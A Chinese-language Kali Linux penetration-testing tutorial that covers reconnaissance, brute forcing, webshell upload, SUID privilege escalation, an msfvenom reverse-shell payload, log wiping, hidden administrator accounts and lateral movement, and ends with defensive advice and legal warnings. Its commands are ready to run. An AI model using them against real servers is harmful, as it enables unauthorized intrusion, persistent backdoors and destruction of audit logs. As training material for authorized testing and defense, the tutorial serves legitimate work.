一、前言：为什么选择 Kali 学习服务器渗透测试？
Kali Linux 作为渗透测试领域的 “瑞士军刀”，预装了 300 + 款安全工具，从信息收集、漏洞扫描到权限获取、后渗透攻击，覆盖服务器攻击全流程。本文面向有 Linux 基础的安全爱好者，通过实战化案例拆解服务器攻击的核心逻辑，强调 “合法测试” 原则 —— 所有操作需在授权环境下进行，严禁未授权攻击他人服务器（违反《网络安全法》将承担法律责任）。
二、服务器攻击核心流程（从信息收集到权限维持）
2.1 信息收集：攻击的 “侦察阶段”
信息收集是渗透测试的基础，目标是获取服务器 IP、开放端口、操作系统、中间件版本等关键信息，为后续攻击找突破口。
- 核心工具：Nmap、Whois、Gobuster
-
- IP 与域名关联查询：whois 目标域名 或 nslookup 目标域名，获取服务器真实 IP、DNS 服务商等信息。
-
- 端口扫描：nmap -sS -p 1-65535 -O 目标IP（-sS 为半开放扫描，-O 识别操作系统），重点关注 80（HTTP）、443（HTTPS）、22（SSH）、3389（RDP）、3306（MySQL）等常用端口。
-
- 目录扫描（Web 服务器）：gobuster dir -u http://目标IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt，挖掘隐藏后台（如 /admin、/login.php）、敏感文件（如 robots.txt、备份文件）。
2.2 漏洞扫描：寻找服务器 “突破口”
基于信息收集结果，扫描服务器存在的已知漏洞（如 SQL 注入、文件上传、弱口令、中间件漏洞等）。
- 核心工具：Nessus、OpenVAS、SQLmap
-
- 通用漏洞扫描：Nessus（需注册激活），新建扫描任务，输入目标 IP，自动检测 CVE 漏洞（如 Heartbleed、Log4j）、配置缺陷等。
-
- Web 漏洞扫描：Burp Suite（拦截包分析），配合 SQLmap 检测 SQL 注入：sqlmap -u "http://目标IP/index.php?id=1" --dbs（--dbs 列出数据库）。
-
- 弱口令爆破：Hydra，针对 SSH 服务：hydra -l root -P /usr/share/wordlists/rockyou.txt 目标IP ssh -vV（-l 指定用户名，-P 密码字典）。
2.3 权限获取：利用漏洞植入后门
找到有效漏洞后，通过 EXP（漏洞利用脚本）获取服务器权限，常见方式如下：
-
- Webshell 上传：若存在文件上传漏洞，上传一句话木马（如eval($_POST['pass']);?>），通过蚁剑 / 菜刀连接，获取网站权限。
-
- 系统权限提升：从 Web 权限提权至 root，利用 SUID 文件：find / -perm -4000 2>/dev/null（查找可执行的 SUID 文件，如 find、cp 可用于提权），执行find / -exec /bin/sh \;获取 rootshell。
-
- 远程控制植入：通过 MSFconsole 生成恶意 payload：msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=你的IP LPORT=4444 -f elf -o shell.elf，上传至服务器并执行，MSF 监听会话：use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST 你的IP; run，成功获取 meterpreter 会话（可执行命令、窃取文件、开启摄像头等）。
2.4 后渗透攻击与权限维持
获取权限后，需隐藏痕迹并长期控制服务器：
-
- 清除日志：Linux 系统删除日志文件：rm -rf /var/log/*，Windows 清除事件日志：wevtutil cl System && wevtutil cl Security。
-
- 植入后门：创建隐藏账号（Linux：useradd -r -m -s /bin/bash hidden；Windows：net user hidden$ 123456 /add && net localgroup administrators hidden$ /add），或安装 SSH 后门（修改 sshd_config 允许密钥登录，上传自己的公钥）。
-
- 横向移动：通过服务器内网信息收集（arp -a查看内网 IP），利用永恒之蓝（EternalBlue）等漏洞攻击内网其他主机。
三、服务器防御建议（攻防结合）
作为渗透测试工程师，不仅要会攻击，更要懂防御，以下是针对上述攻击的防护措施：
- 定期更新：及时修补系统漏洞、中间件补丁（如 Tomcat、Nginx 升级），关闭不必要的端口和服务。
- 强认证机制：设置复杂密码（8 位以上含字母 + 数字 + 特殊字符），禁用 root 远程登录，开启 SSH 密钥认证，限制登录 IP。
- Web 安全防护：部署 WAF（如阿里云 WAF、Nginx ModSecurity），过滤 SQL 注入、文件上传等恶意请求，禁用 PHP 危险函数（eval、exec）。
- 日志审计：开启系统日志、应用日志，定期审计异常登录（如异地登录、多次失败登录），使用 ELK 栈集中管理日志。
- 权限最小化：Web 服务运行在普通用户权限，避免给网站目录 777 权限，限制 SUID 文件数量。
四、注意事项与学习建议
- 合法合规：所有测试必须获得服务器所有者书面授权，推荐使用靶场练习（如 Metasploitable3、VulnHub、Hack The Box）。
- 工具学习：不要依赖工具 “一键扫描”，需理解工具原理（如 Nmap 扫描原理、SQL 注入语法），建议阅读工具官方文档。
- 进阶方向：深入学习 Linux 内核漏洞、0day 漏洞挖掘、内网渗透、应急响应等，考取 CEH、OSCP 等认证提升竞争力。
五、总结
Kali Linux 服务器攻击的核心逻辑是 “信息收集→漏洞挖掘→权限获取→权限维持”，每个环节都需要扎实的技术积累和实战经验。渗透测试的本质是 “攻防对抗”，只有站在攻击者的角度理解漏洞，才能更好地构建安全防御体系。建议新手从基础工具实操开始，逐步深入复杂场景，始终坚守 “合法测试、敬畏法律” 的底线。
